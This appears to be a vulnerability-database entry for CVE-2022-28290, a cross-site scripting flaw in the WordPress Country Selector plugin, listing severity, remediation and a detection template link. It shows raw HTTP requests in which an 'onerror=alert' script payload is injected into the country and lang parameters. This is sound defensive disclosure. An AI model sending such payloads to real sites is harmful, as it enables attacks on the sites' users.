🔙 목록으로 돌아가기

CVE-2022-28290: WordPress Country Selector <1.6.6 - Cross-Site Scripting

TitleWordPress Country Selector <1.6.6 - Cross-Site Scripting
AuthorAkincibor
SeverityMedium
ImpactSuccessful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected website.
RemediationUpdate WordPress Country Selector plugin to version 1.6.6 or later to mitigate the vulnerability.
CVSS Score6.1
EPSS Score0.01901
CVE IDCVE-2022-28290
CWE IDCWE-79
Tags cve cve2022 wordpress-country-selector wpscan wp wordpress wp-plugin xss welaunch vuln

🔍 Vulnerability Description

WordPress Country Selector plugin prior to 1.6.6 contains a cross-site scripting vulnerability. The plugin does not sanitize and escape the country and lang parameters before outputting them back in the response. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

🌐 HTTP Request

POST /wp-login.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:134.0) Gecko/20100101 Firefox/134.0
Connection: close
Content-Length: 51
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

log=PNtNjA&pwd=SzGUUj&wp-submit=Log+In&testcookie=1
POST /wp-admin/admin-ajax.php?action=check_country_selector HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
Connection: close
Content-Length: 148
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

country=%3Cimg%20src%3Dx%20onerror%3Dalert%28document.domain%29%3E&lang=%3Cimg%20src%3Dx%20onerror%3Dalert%28document.domain%29%3E&site_locate=en-US

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-28290.yaml

🦈 Packet Capture: ⬇️ Download cve-2022-28290.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A